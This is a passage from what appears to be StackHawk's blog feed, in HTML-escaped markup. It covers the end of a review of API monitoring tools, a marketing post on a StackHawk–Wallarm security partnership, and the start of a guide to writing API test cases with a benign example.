teams.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Catchpoint provides reliable data validation in addition to its monitoring suite&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Reliable, detailed data for troubleshooting&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Catchpoint is powerful, but it&amp;#39;s not a very intuitive tool, which can result in a significant learning curve&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It can also be quite expensive for small teams, especially due to how complex it is to initially set up&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;13 - Honeycomb&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Honeycomb.io&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Honeycomb excels at distributed tracing and is highly scalable, making it popular among larger teams. However, its pricing can be a barrier, and the complexity on offer isn&amp;#39;t really idea for basic monitoring use cases.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Great for complex tests requiring distributed tracing or differential global endpoints&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Honeycomb is another tool that is very good but very expensive - this cost might be more than a team is willing to spend (or more than a team is able to spend) for something simple, such as the need to monitor API performance or memory usage&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;14 - Checkly&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: Checkly&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: Checkly is an easy-to-set-up browser-based API and web monitoring solution. While intuitive, it often lacks deep analytics pathways and has limited integrations compared to more advanced tools.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Checkly is incredibly easy to get started with and remains easy to use in a variety of environments&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;It provides both API and general web traffic monitoring&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Checkly lacks deeper analytics systems, making it hard to suggest for API failures rooted in more complex end states, systems that need more comprehensive synthetic monitoring, and so forth&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Add on to this the reality that Checkly has limited integrations, and you&amp;#39;re going to run up against limitations rather quickly&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;15 - UptimeRobot&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Provider&lt;/b&gt;: UptimeRobot&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Summary&lt;/b&gt;: UptimeRobot is a case of a product that is really simple, providing just what it says on the tin - and very little else. While it supports some good basic monitoring, it lacks detailed analytics and other advanced features.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Pros&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;It&amp;#39;s highly affordable, easy to set up, and supports a wide variety of protocols&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Cons&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;All of its pros said, it has limited API testing metrics and lacks deep, detailed analytics&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Choosing the Right API Monitoring Tool&lt;/b&gt;&lt;/h2&gt;&lt;h3&gt;&lt;b&gt;Considerations for Selecting an API Monitoring Tool&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;How you go about choosing the right tool to monitor APIs is going to depend largely on your given environment. Assuming you have the correct data, well-structured APIs, and systems following best practices, as well as a system that does not have a specific use case or test that it needs (which narrows your choices), you&amp;#39;re going to want to look for the following:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Intuitive interface&lt;/b&gt;: a user-friendly interface that simplifies navigation and operations will be incredibly important, especially for a tool that is used by multiple teams for collaborative API monitoring. Ease of use will make your tool more likely to see use, which will make it that much more effective.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Reusability&lt;/b&gt;: the capability to recycle tests will make for efficient and consistent monitoring. Make sure you are able to control your code granularly instead of relying on pre-built packaged testing for improved results.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Run options&lt;/b&gt;: the flexibility to execute tests on-demand, to schedule testing intervals, or to launch tests in response to specific events will be very important. Make sure your chosen solution offers as many options as possible for controlling your testing regime.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Sequencing&lt;/b&gt;: ensure your solution allows you to control the sequencing of tests. It&amp;#39;s not good enough to just run one mega test - you need to be able to control each test as well as the order that they are executed in order to get a full view of your data flow.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Alerts&lt;/b&gt;: ensure you have adequate control over notifications and alerts, setting up systems that are triggered by predefined thresholds which can indicate API performance issues or deviations. Additionally, ensure those alerts are actually useful - alerts should come with an error code, not random abstract warnings of failure!&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Monitoring is Not Enough For Security!&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;As you read the above list of the best API monitoring tools, you might come to a simple but unavoidable conclusion - API monitoring is great but entirely reactive. Even the most comprehensive API monitoring strategy is only half the story. Monitoring is, by definition, the process of observing a failure state, and in many situations, you cannot let the failure state happen even once.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/api-security-best-practices-ultimate-guide/&quot;&gt;&lt;u&gt;Securing your APIs&lt;/u&gt;&lt;/a&gt; before they have a huge security issue should be your number one priority, and then validating the effectiveness of that strategy should be the realm of your API monitoring regime. In that vein, how can one adequately resolve potential issues at scale?&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/&quot;&gt;&lt;u&gt;StackHawk&lt;/u&gt;&lt;/a&gt; is an incredibly powerful testing solution that resolves this issue before you hit production. In other words, StackHawk&amp;#39;s&lt;a href=&quot;https://www.stackhawk.com/blog/why-dast-should-be-your-first-application-security-priority/&quot;&gt; &lt;u&gt;DAST&lt;/u&gt;&lt;/a&gt; solution shifts security left, integrating and automating within the CI/CD pipeline itself. By integrating with the DevOps pipeline, this DAST system can surface vulnerabilities before they put your production services—and your users&amp;#39; data—at risk.&lt;/p&gt;&lt;p&gt;In essence, DAST—or&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;Dynamic Application Security Testing&lt;/u&gt;&lt;/a&gt;—is a simple and effective way to build more secure software faster and apply security principles more efficiently. StackHawk focuses on runtime and pre-production security testing, allowing you to integrate security into the development process rather than &amp;quot;tacking it on&amp;quot; as an afterthought.&lt;/p&gt;&lt;p&gt;Beyond the apparent technical security benefits StackHawk&amp;#39;s DAST solution offers, StackHawk goes even further by introducing&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-api-discovery-everything-you-need-to-know/&quot;&gt; &lt;u&gt;API discovery&lt;/u&gt;&lt;/a&gt; and the latest feature,&lt;a href=&quot;https://www.stackhawk.com/solutions/oversight/&quot;&gt; &lt;u&gt;API Oversight,&lt;/u&gt;&lt;/a&gt; rounding out the three core pillars of API Security. With the three core pillars, StackHawk users can ensure that every API is documented and tested and that their entire attack surface is covered—the perfect complement to a holistic API monitoring stack.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Monitoring is simply not enough - in order to ensure your API is performant, reliable, and secure, you need to adopt a monitoring solution that validates your security approach. With these two processes working in tandem, you can ensure a highly secure and effective production pipeline and monitoring strategy that will result in happy customers, secure databases, and solid code.&lt;/p&gt;&lt;p&gt;Getting started with StackHawk is incredibly easy! If you&amp;#39;d like to&lt;a href=&quot;https://www.stackhawk.com/blog/why-shift-security-left/&quot;&gt; &lt;u&gt;shift your security left&lt;/u&gt;&lt;/a&gt; and start building more robust and dependable code bases, you can&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt; &lt;u&gt;start a free trial today&lt;/u&gt;&lt;/a&gt;!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Your AppSec Journey Demystified: Driving Effective API Security with StackHawk and Wallarm]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/your-appsec-journey-demystified-driving-effective-api-security-with-stackhawk-and-wallarm</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Scott Gerlach]]></dc:creator><content:encoded>&lt;p&gt;There is no doubt that attackers have shifted their attention to APIs. Wallarm’s &lt;a href=&quot;https://www.wallarm.com/resources/q324-api-threatstats-report&quot;&gt;&lt;u&gt;API ThreatStats &lt;/u&gt;&lt;/a&gt;research identifies that 70% of attacks now target APIs instead of Web Applications. While APIs have become the backbone of innovation and connectivity for businesses, they have also introduced a vast attack surface that’s challenging to defend with traditional methods alone. To address these unique API security needs, StackHawk and Wallarm have partnered to provide a powerful, combined solution that makes proactive API security seamless, scalable, and highly effective.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;The Complex API Security Landscape&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs enable businesses to scale, adapt, and integrate like never before, but they also bring unique security challenges that traditional tools struggle to handle. With APIs proliferating rapidly, companies need a comprehensive approach to API security—one that provides visibility, protects against evolving threats, and aligns with rapid development cycles. Wallarm  and StackHawk’s combined solution offers exactly that.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Key API Security Challenges:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Unknown Risks&lt;/b&gt;: APIs may be unknowingly exposed or exposed to unknown threats if not continuously discovered, monitored, and secured.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Complex Threat Landscape&lt;/b&gt;: As APIs, their infrastructure, and interactions grow more complex, so do the potential vulnerabilities and attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Operational Constraints&lt;/b&gt;: Security solutions must seamlessly integrate with modern development workflows and deployed infrastructure, without negatively impacting performance.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;StackHawk and Wallarm: A Stronger, Shift-Left Approach to API Security&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Together, StackHawk and Wallarm deliver a robust, “shift-left, shield right” security strategy designed to empower application security teams with proactive API discovery, continuous testing, and real-time threat detection. By joining forces, they address the entire API lifecycle, helping teams discover, monitor, and secure APIs from development to production.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Better Together: The StackHawk + Wallarm Solution&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Multi-Faceted, Proactive API Discovery&lt;/b&gt;: With StackHawk, developers gain visibility into their API landscape through discovery integrated within their CI/CD. Wallarm provides dynamic API discovery through external scanning and active traffic analysis. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Integrated, Continuous API Security Testing: &lt;/b&gt;StackHawk integration with both Wallarm and the CI/CD pipeline supports continually updated and continuous API security testing. &lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Shield-Right with Real-Time Threat Protection&lt;/b&gt;: Wallarm detects and actively blocks API attacks by monitoring live API traffic. .&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Built for Scale and Speed&lt;/b&gt;: This combined solution is designed to support teams of all sizes, integrating seamlessly into CI/CD pipelines and API infrastructure without slowing down development.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;The Benefits of a Unified, Proactive API Security Strategy&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;By integrating StackHawk and Wallarm, companies can transition from a reactive approach to a strategic, proactive one that meets the security demands of today’s API-driven world. Together, these tools empower organizations to safeguard their API ecosystem, ensuring compliance, protecting sensitive data, and enabling secure innovation.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Advantages of the StackHawk and Wallarm Partnership&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Enhanced Security Posture&lt;/b&gt;: Catch vulnerabilities early with StackHawk’s shift-left testing, then continuously monitor and mitigate threats in real-time with Wallarm.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Increased Productivity&lt;/b&gt;: Secure APIs without disrupting development workflows, thanks to fast and seamless integration.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Streamlined Compliance&lt;/b&gt;: Simplify audits and meet regulatory requirements through continuous API security and monitoring.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h2&gt;&lt;b&gt;Easy Onboarding, Immediate Impact&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Getting started with StackHawk and Wallarm is straightforward. With StackHawk’s user-friendly API discovery and Wallarm’s threat protection, your team can achieve end-to-end API security that aligns with development speed. StackHawk provides tabular insights, filtering, and commit tracking to streamline oversight, while Wallarm’s robust detection and real-time blocking make continuous monitoring actionable.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;APIs are central to business growth, and securing them requires a modern approach. Together, StackHawk and Wallarm provide a best-of-breed solution for API security that combines proactive oversight with real-time protection. For companies ready to take their AppSec program to the next level, StackHawk and Wallarm offer the tools needed to stay secure and scale confidently. Start your journey with StackHawk and Wallarm—where proactive and continuous API security come together to enable secure innovation.&lt;/p&gt;&lt;p&gt;To learn more about how Wallarm and StackHawk integrate, download the &lt;a href=&quot;https://lp.stackhawk.com/sh-wallarm-datasheet-download-nov-2024&quot;&gt;datasheet&lt;/a&gt;. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Creating Test Cases for API Testing: A Comprehensive Guide with Examples]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/creating-test-cases-for-api-testing-a-comprehensive-guide-with-examples</guid><category><![CDATA[Tooling Guides]]></category><dc:creator><![CDATA[Matt Tanner]]></dc:creator><content:encoded>&lt;p&gt;APIs are critical in modern software, allowing different systems to communicate and share data. When APIs fail, it can lead to anything from minor bugs to significant disruptions that impact users and businesses.&lt;/p&gt;&lt;p&gt;In&lt;a href=&quot;https://www.stackhawk.com/blog/what-is-an-api-a-beginners-guide-to-application-programming-interfaces/&quot;&gt; &lt;u&gt;API&lt;/u&gt;&lt;/a&gt; testing, you systematically review the API’s performance to ensure it works as expected. Catching and fixing problems early in development improves the software’s quality and speeds up development cycles.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;What is API Testing?&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing is software testing focused on ensuring APIs meet specific standards for functionality, reliability, performance, and security. Rather than relying on traditional user inputs (like a keyboard or mouse) or visual feedback (like a screen display), you interact with the API through software tools, sending requests and reviewing the system&amp;#39;s responses.&lt;/p&gt;&lt;p&gt;Typically, API testing takes place at the message layer without involving a graphical interface (GUI). Instead of navigating a website or app, you work directly with the API by sending requests and evaluating responses. This approach allows us to test specific API functions independently, making the testing process faster and more accurate.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Why API Testing Matters&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing offers a range of benefits that contribute significantly to creating robust and reliable applications. One of its primary advantages is detecting bugs early in the development lifecycle. By identifying and addressing issues at this stage, developers can prevent them from escalating into more complex problems, saving valuable time and resources in the long run.&lt;/p&gt;&lt;p&gt;API testing allows for improved test coverage compared to traditional UI testing. It can probe deeper into the application&amp;#39;s core functionality, including business logic and data responses, ensuring that all critical components are thoroughly examined. This approach leads to higher software quality and reduces the risk of unexpected behavior.&lt;/p&gt;&lt;p&gt;The speed at which API tests can be executed is another benefit. These tests are typically faster than UI tests, enabling rapid feedback loops and accelerating development cycles. This efficiency allows for more frequent software updates and the timely release of new features, keeping pace with evolving user needs and market demands.&lt;/p&gt;&lt;p&gt;API testing also plays a vital role in enhancing&lt;a href=&quot;https://www.stackhawk.com/blog/10-web-application-security-threats-and-how-to-mitigate-them/&quot;&gt; &lt;u&gt;application security&lt;/u&gt;&lt;/a&gt;. Identifying vulnerabilities like authentication flaws that may lead to potential data breaches helps developers build more secure systems. This proactive approach to security minimizes the risk of exploitation and protects sensitive data.&lt;/p&gt;&lt;p&gt;Finally, API tests are highly suited to automation, making them ideal for integration into continuous integration and continuous delivery (CI/CD) pipelines. This automation streamlines the development process, ensures consistent software quality, and facilitates a more efficient workflow. In conclusion, API testing is indispensable for any development team striving to deliver high-quality, secure, and reliable software.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Understanding API Documentation for Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API documentation outlines everything you need to know about the API&amp;#39;s functionalities, endpoints, request methods, parameters, and expected responses. Here&amp;#39;s why understanding documentation is key when it comes to effective API testing:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Identify Test Scope and Create Test Cases&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Good documentation gives you a clear picture of what the API can do. This helps you set up the boundaries for your tests and create test cases that cover every important function. For each endpoint, the documentation tells you which request parameters, headers, and response codes to expect so you know exactly what you’re testing and why.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Understand Expected Behavior and Troubleshoot Errors&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;The documentation outlines how the API should behave under different conditions so you’ll know if it’s working as expected. This is your go-to resource if you hit unexpected results or error codes. Often, you’ll find detailed descriptions of error codes and what they mean, which can speed up your troubleshooting and help you resolve issues faster.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Types of API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing covers a range of test types, each aimed at examining a different aspect of the API’s functionality and performance. Here are some of the most common types of API testing and why they matter:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Functional Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This is all about ensuring that each part of the API works as expected. Functional testing checks specific endpoints, request methods, and parameters, making sure they produce the correct responses based on their design. It’s like testing each piece of the puzzle to see if it fits as it should.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Performance and Load Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Performance testing evaluates how the API handles various demands—think of it as stress-testing the API. It identifies potential bottlenecks by looking at factors like response time, stability, and scalability. Load testing is a specific form of performance testing that simulates high user demand to see how well the API performs under pressure.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Security Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Security testing focuses on identifying vulnerabilities that could leave the API open to attacks. It tests authentication, authorization, and data encryption to ensure that sensitive API data is protected and only authorized users can access specific functions.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Contract Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;This type of testing verifies that the API sticks to its &amp;quot;contract&amp;quot; with the consumers—meaning, it meets the expectations around response data formats and structure. If an API’s contract changes unexpectedly, it could break integrations, so contract testing helps ensure everything remains in sync.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Integration Testing&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Integration testing checks how well the API interacts with other parts of the application or external systems. It’s designed to catch any issues with data flow between components and ensure that the API plays well with other pieces in the larger system.&lt;/p&gt;&lt;p&gt;By using these different types of testing, you get a well-rounded view of the API’s performance, functionality, and security, helping to ensure that it works reliably and meets all necessary requirements.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Writing Effective Test Cases for API&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;Writing clear, effective test cases is key to successful API testing. Each test case should focus on a specific aspect of the API, laying out the inputs you’ll use, the expected results, and the steps you’ll follow. Here’s a breakdown of what makes a solid API test case:&lt;/p&gt;&lt;p&gt;&lt;b&gt;1. Define the Test Objective&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Start by clearly stating the purpose of the test. What specific part of the API are you checking? For example, “Verify that a new user can be created successfully.”&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;2. Identify the API Endpoint&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Specify the exact endpoint you’re testing, including the URL and any path parameters. This keeps things focused and ensures you’re testing the right part of the API.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;3. Specify Request Details&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Outline the HTTP method (GET, POST, PUT, DELETE, etc.) and any necessary headers, like authorization tokens or content types. If the request requires data (like a POST or PUT), detail what needs to go in the body, often in JSON or XML format.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;4. Outline Test Steps&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Lay out each step in a sequence—send the request, receive the API response, and note specific parts of the response that need validation. Having a clear sequence makes the testing process straightforward, especially for manual testing.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;5. Define Expected Outcome&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Clearly state what should happen. This might include an HTTP status code (e.g., 200 OK for a successful request) and the structure or content of the response data. Detail expected values, data types, and how the response body should look.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;6. Include Assertions&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Assertions are key for automating tests, as they compare the actual outcome with the expected one. Including assertions lets you know instantly if the test passed or failed, making the results easy to interpret.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Example Test Case&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;&lt;b&gt;Objective:&lt;/b&gt; Verify successful user creation.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Endpoint:&lt;/b&gt; /users&lt;/p&gt;&lt;p&gt;&lt;b&gt;Method:&lt;/b&gt; POST&lt;/p&gt;&lt;p&gt;&lt;b&gt;Headers:&lt;/b&gt; Content-Type: application/json&lt;/p&gt;&lt;p&gt;&lt;b&gt;Body:&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;b&gt;Steps:&lt;/b&gt;&lt;/p&gt;&lt;ol&gt;&lt;li&gt;&lt;p&gt;Send the POST request to the /users endpoint with the provided headers and body.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Receive the API response.&lt;/p&gt;&lt;/li&gt;&lt;/ol&gt;&lt;p&gt;&lt;b&gt;Expected Outcome:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Status Code: 201 Created&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Response Body: JSON object containing the newly created user&amp;#39;s details.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;b&gt;Assertions:&lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Assert that the status code is 201.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Assert that the response body contains the user&amp;#39;s username, email, and a unique user ID.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following these guidelines, you can write effective test cases that are clear, concise, and focused, ensuring comprehensive API testing and contributing to the overall quality of your software.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;API Testing Checklist&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;API testing involves many moving parts, so having a checklist can keep you on track and ensure you don’t miss anything. Here’s a practical checklist to guide you through each stage of the testing process:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Before Testing&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Understand the API&amp;#39;s Purpose:&lt;/b&gt; Review the documentation to get a solid grasp of the API’s functions, endpoints, and expected behavior. Knowing what the API is supposed to do will make your testing more targeted and effective.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Define the Testing Scope: &lt;/b&gt;Determine which parts of the API need testing based on factors like risk, importance, and business requirements.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Set Up the Test Environment:&lt;/b&gt; Ensure you have a dedicated testing environment with the necessary tools and test data ready to go.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;During Testing&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Measure Response Times:&lt;/b&gt; Check how responsive the API is under different conditions, including normal and peak loads. This is crucial for ensuring it performs within acceptable limits.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Validate Response Body and Status Code:&lt;/b&gt; Confirm that the API is returning the right status code (e.g., 200 OK, 404 Not Found) and that the response body contains the expected data in the correct format (usually JSON or XML).&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Validate Response Headers:&lt;/b&gt; In addition to the response body and status code, pay attention to the response headers. Ensure they are set correctly and contain the expected values, like content type or cache control settings.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Verify Data Format and Validation:&lt;/b&gt; Confirm that the API accepts and returns data in the correct format (JSON, XML) and performs appropriate data validation. This is especially important for inputs like date formats, required fields, and data types.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Explore Edge Cases and Boundary Conditions:&lt;/b&gt; Don’t just stick to the usual “happy path.” Try unexpected inputs, invalid data, and edge cases to see if the API handles errors gracefully and provides useful error messages.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;After Testing&lt;/b&gt;&lt;/h3&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Document Test Results:&lt;/b&gt; Record all your test results, including successes, failures, and any other observations. This helps with future reference and tracking.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Report and Track Bugs:&lt;/b&gt; If you find any issues, report them and track their resolution. Having a system to log bugs makes it easier to follow up and ensure they’re resolved.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Continuously Monitor the API:&lt;/b&gt; Implement monitoring tools to track the API&amp;#39;s performance and health in production.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;By following this checklist, you can systematically approach API testing, ensuring comprehensive coverage and increasing the likelihood of identifying and resolving potential issues before they impact your users.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Tools and Frameworks for API Testing&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;The right tools can significantly streamline your API testing process, enabling you to automate tests, analyze results, and improve efficiency. Fortunately, many popular tools and frameworks are available to help you achieve these goals. Here&amp;#39;s a list of some of the most popular tools available:&lt;/p&gt;&lt;h3&gt;&lt;b&gt;StackHawk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;StackHawk is a&lt;a href=&quot;https://www.stackhawk.com/blog/dynamic-application-security-testing-overview/&quot;&gt; &lt;u&gt;dynamic application security testing&lt;/u&gt;&lt;/a&gt; (DAST) tool focused on catching and fixing API security issues. StackHawk integrates easily with CI/CD pipelines, helping you to automate security tests for common risks like those in the&lt;a href=&quot;https://www.stackhawk.com/solutions/owasp-top-10/&quot;&gt; &lt;u&gt;OWASP Top 10&lt;/u&gt;&lt;/a&gt;. It also provides clear, developer-friendly reports and advice on remediating any issues.&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Postman&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Postman is one of the most popular tools for API testing and development, offering a user-friendly interface for sending requests, viewing API responses, and creating automated tests. It supports various HTTP methods, parameterization, test scripting, and CI/CD integration, making it versatile and easy to 